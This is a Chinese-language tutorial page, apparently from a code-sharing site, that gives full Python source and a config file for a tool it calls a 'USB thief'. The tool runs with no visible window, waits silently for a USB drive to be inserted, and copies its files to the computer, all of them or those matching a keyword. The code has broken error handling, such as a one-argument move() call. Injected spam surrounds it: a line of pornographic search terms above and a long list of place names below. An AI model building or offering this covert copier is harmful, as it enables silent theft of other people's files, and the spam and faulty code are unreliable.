最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python實(shí)現(xiàn)U盤(pán)數(shù)據(jù)復(fù)制工具

 更新時(shí)間:2025年01月03日 10:20:38   作者:hvinsion  
這篇文章主要為大家詳細(xì)介紹了如何使用Python實(shí)現(xiàn)一個(gè)U盤(pán)數(shù)據(jù)復(fù)制工具,它可以幫助用戶(hù)快速、方便地將U盤(pán)中的文件復(fù)制到計(jì)算機(jī)中,希望對(duì)大家有所幫助

1. 簡(jiǎn)介

顧名思義,U盤(pán)小偷是一款功能強(qiáng)大的U盤(pán)數(shù)據(jù)復(fù)制工具。它可以幫助用戶(hù)快速、方便地將U盤(pán)中的文件復(fù)制到計(jì)算機(jī)中,此工具簡(jiǎn)潔易用,用戶(hù)只需簡(jiǎn)單更改配置文件具體參數(shù)即可完成對(duì)U盤(pán)內(nèi)文件的復(fù)制工作。

功能:

  • 打包好的程序雙擊運(yùn)行無(wú)控制臺(tái)界面彈出,后臺(tái)靜默搜索U盤(pán)插入狀態(tài),更加隱私下載。
  • 可通過(guò)更改config.ini配置文件從而更改檢索U盤(pán)的時(shí)間間隔、文件copy的目的路徑、可選的copy內(nèi)容等,具體可以參考以下config.ini的文檔說(shuō)明。
  • 可自定義選擇篩選需要copy的文件內(nèi)容,亦可選擇全部下載。

config.ini文件相關(guān)內(nèi)容

# PASTE_PATH:需要復(fù)制到電腦的文件夾路徑
# KEYWORD:關(guān)鍵詞索引,如果留空不填寫(xiě)則表示復(fù)制U盤(pán)下的所有文件以及文件夾
# INTERVAL_TIME:更改檢查U盤(pán)是否存在的間隔時(shí)間,默認(rèn)1s檢查一次

[config]
PASTE_PATH = D:\usb
kEYWORD = 
INTERVAL_TIME = 5

2. 運(yùn)行效果

3. 相關(guān)源碼

import os
import logging
import configparser
from psutil import disk_partitions
from time import sleep
from shutil import copytree, copyfile, rmtree, move

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)
 
 

    # 讀取API配置
config = configparser.ConfigParser()
config.read('config.ini')
        
pastePATH = config.get('config', 'PASTE_PATH')
ukeyword = config.get('config', 'kEYWORD')
intervalTime = config.get('config', 'INTERVAL_TIME')
  
 
# 獲取U盤(pán)的盤(pán)符
# disk_partitions() 打印一下他的返回值,就會(huì)完全清楚下面這個(gè)函數(shù)
def get_usb_dispart():
    for item in disk_partitions():
        if item.opts == "rw,removable": # 可讀、可移動(dòng)介質(zhì)
            logger.info("發(fā)現(xiàn)USB:%s" % str(item))
            return item.device
    logger.info("沒(méi)有發(fā)現(xiàn)USB")
    return None
 
 
# 讀取想要的文件  u盤(pán)所有文件或者文件名含有某個(gè)字段的文件及文件夾
# 1、文件夾含有該字段:復(fù)制文件夾;
# 2、文件含有字段,復(fù)制文件。
def get_useb_file(src, path="", select=None, dst=r"C:\usb"):
    if select is None:# 無(wú)篩選規(guī)則,復(fù)制所有
        copytree(src, dst)
        logger.info("復(fù)制%s盤(pán)USB所有內(nèi)容到%s" % (src, dst))
    else: # 復(fù)制部分
        paths = os.listdir(os.path.join(src, path)) # 獲取當(dāng)前路徑下的所有文件及文件夾
        for item in paths:
            item = os.path.join(path, item)
            if select in item:
                if os.path.isdir(os.path.join(src, item)): #如果是文件夾,還有字符直接復(fù)制文件夾;否則遞歸遍歷文件夾下的內(nèi)容
                    try:
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        try:
                            rmtree(os.path.join(dst, item))
                        except:
                            continue
                        copytree(os.path.join(src, item), os.path.join(dst, item))
                else:
                    try:
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                    except Exception as e:
                        os.makedirs(os.path.dirname(os.path.join(dst, item)))
                        try:
                            move(os.path.join(dst, item))
                        except:
                            continue
                        copyfile(os.path.join(src, item), os.path.join(dst, item))
                logger.info("復(fù)制%s 到 %s" % (os.path.join(src, item), (os.path.join(dst, item))))
            else:
                if os.path.isdir(os.path.join(src, item)):
                    get_useb_file(src, item, select, dst)
 
 
if __name__ == "__main__":
    while True:
        path = get_usb_dispart()
        if path is not None:
            get_useb_file(src=path, select=ukeyword, dst=pastePATH)
            break
        sleep(int(intervalTime))

到此這篇關(guān)于Python實(shí)現(xiàn)U盤(pán)數(shù)據(jù)復(fù)制工具的文章就介紹到這了,更多相關(guān)Python U盤(pán)數(shù)據(jù)復(fù)制內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Python用類(lèi)實(shí)現(xiàn)撲克牌發(fā)牌的示例代碼

    Python用類(lèi)實(shí)現(xiàn)撲克牌發(fā)牌的示例代碼

    這篇文章主要介紹了Python用類(lèi)實(shí)現(xiàn)撲克牌發(fā)牌的示例代碼,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-06-06
  • Python實(shí)現(xiàn)老照片修復(fù)之上色小技巧

    Python實(shí)現(xiàn)老照片修復(fù)之上色小技巧

    你會(huì)黑白照片上色嗎,今天小編帶你用python來(lái)給黑白照片上個(gè)色,這里我們借助百度AI開(kāi)放平臺(tái)的“黑白圖像上色”接口,僅需二十行代碼即可實(shí)現(xiàn),感興趣的朋友來(lái)看看吧
    2021-10-10
  • 解決python3 HTMLTestRunner測(cè)試報(bào)告中文亂碼的問(wèn)題

    解決python3 HTMLTestRunner測(cè)試報(bào)告中文亂碼的問(wèn)題

    今天小編就為大家分享一篇解決python3 HTMLTestRunner測(cè)試報(bào)告中文亂碼的問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2018-12-12
  • Python基于requests庫(kù)爬取網(wǎng)站信息

    Python基于requests庫(kù)爬取網(wǎng)站信息

    這篇文章主要介紹了python基于requests庫(kù)爬取網(wǎng)站信息,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-03-03
  • Python函數(shù)中的不定長(zhǎng)參數(shù)相關(guān)知識(shí)總結(jié)

    Python函數(shù)中的不定長(zhǎng)參數(shù)相關(guān)知識(shí)總結(jié)

    今天給大家?guī)?lái)的是關(guān)于Python函數(shù)的相關(guān)知識(shí),文章圍繞著Python不定長(zhǎng)參數(shù)展開(kāi),文中有非常詳細(xì)的介紹及代碼示例,需要的朋友可以參考下
    2021-06-06
  • 使用Python實(shí)現(xiàn)視頻拼接效果

    使用Python實(shí)現(xiàn)視頻拼接效果

    這篇文章主要為大家詳細(xì)介紹了使用Python實(shí)現(xiàn)視頻拼接效果的兩種方法,文中的示例代碼講解詳細(xì),感興趣的小伙伴可以跟隨小編一起學(xué)習(xí)一下
    2025-02-02
  • Pandas出現(xiàn)KeyError的問(wèn)題解決及分析

    Pandas出現(xiàn)KeyError的問(wèn)題解決及分析

    本文主要介紹了Pandas出現(xiàn)KeyError的問(wèn)題解決及分析,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2023-01-01
  • Python繪圖庫(kù)Pyecharts可視化效果示例詳解

    Python繪圖庫(kù)Pyecharts可視化效果示例詳解

    本文將帶您從零開(kāi)始,逐步掌握使用Pyecharts庫(kù)進(jìn)行數(shù)據(jù)可視化的技能,Pyecharts是一個(gè)基于Echarts的Python可視化庫(kù),能夠輕松創(chuàng)建各種交互式圖表和地圖,無(wú)論您是數(shù)據(jù)分析新手還是有經(jīng)驗(yàn)的開(kāi)發(fā)者,都能幫助您深入了解Pyecharts的使用
    2023-08-08
  • python實(shí)現(xiàn)從字符串中找出字符1的位置以及個(gè)數(shù)的方法

    python實(shí)現(xiàn)從字符串中找出字符1的位置以及個(gè)數(shù)的方法

    這篇文章主要介紹了python實(shí)現(xiàn)從字符串中找出字符1的位置以及個(gè)數(shù)的方法,對(duì)于Python字符串操作的學(xué)習(xí)有一定的幫助與借鑒作用,需要的朋友可以參考下
    2014-08-08
  • 高性能web服務(wù)器框架Tornado簡(jiǎn)單實(shí)現(xiàn)restful接口及開(kāi)發(fā)實(shí)例

    高性能web服務(wù)器框架Tornado簡(jiǎn)單實(shí)現(xiàn)restful接口及開(kāi)發(fā)實(shí)例

    Tornado和現(xiàn)在的主流Web服務(wù)器框架(包括大多數(shù)Python的框架)有著明顯的區(qū)別:它是非阻塞式服務(wù)器,而且速度相當(dāng)快。得利于其 非阻塞的方式和對(duì)epoll的運(yùn)用,Tornado每秒可以處理數(shù)以千計(jì)的連接,這意味著對(duì)于實(shí)時(shí)Web服務(wù)來(lái)說(shuō),Tornado是一個(gè)理想的Web框架。
    2014-07-07

最新評(píng)論

宜阳县| 永靖县| 高邮市| 武鸣县| 沐川县| 固安县| 蒲江县| 株洲县| 慈利县| 綦江县| 西昌市| 衡水市| 观塘区| 开远市| 汕头市| 大冶市| 渝北区| 孙吴县| 保山市| 新宁县| 铜山县| 抚远县| 松滋市| 长治县| 莱西市| 福安市| 沭阳县| 深州市| 吉水县| 淄博市| 银川市| 肥东县| 阿拉尔市| 育儿| 砚山县| 原阳县| 兴和县| 攀枝花市| 安多县| 麦盖提县| 崇州市|